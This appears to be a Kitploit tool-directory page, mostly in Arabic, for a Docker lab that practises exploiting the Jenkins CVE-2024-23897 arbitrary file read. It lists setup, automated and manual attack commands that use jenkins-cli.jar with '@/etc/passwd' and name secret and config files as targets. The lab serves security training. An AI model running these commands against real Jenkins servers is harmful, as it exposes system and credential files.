Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Jenkins-CVE-2024-23897-Lab — بيئة مختبرية قائمة على Docker لممارسة استغلال ثغرة CVE-2024-23897 في Jenkins لقراءة الملفات التعسفية، مع سكربتات هجوم آلية ويدوية. | Kitploit
أدوات/GitHubGitHub/fineken/jenkins-cve-2024-23897-lab
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubfineken/jenkins-cve-2024-23897-lab

Jenkins-CVE-2024-23897-Lab

بيئة مختبرية قائمة على Docker لممارسة استغلال ثغرة CVE-2024-23897 في Jenkins لقراءة الملفات التعسفية، مع سكربتات هجوم آلية ويدوية.

عرض المستودع
21منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مختبر Jenkins CVE-2024-23897

ثغرة قراءة ملفات تعسفية في Jenkins 2.441 والإصدارات الأقدم.

بدء التشغيل

root@kitploit:~
docker-compose up -d

الهجوم التلقائي

root@kitploit:~
docker exec -it attacker-host ./auto-exploit.sh

الهجوم اليدوي

root@kitploit:~
docker exec -it attacker-host bash
cd /tmp
curl -o jenkins-cli.jar http://vulnerable-jenkins:8080/jnlpJars/jenkins-cli.jar

# Первая строка файла
java -jar jenkins-cli.jar -s http://vulnerable-jenkins:8080/ -http help "@/etc/passwd"

# Полный файл
java -jar jenkins-cli.jar -s http://vulnerable-jenkins:8080/ -http connect-node "@/etc/passwd"

الأهداف

  • /etc/passwd
  • /opt/test-files/secret.txt
  • /var/jenkins_home/config.xml

الإيقاف

root@kitploit:~
docker-compose down
تنزيل الأداة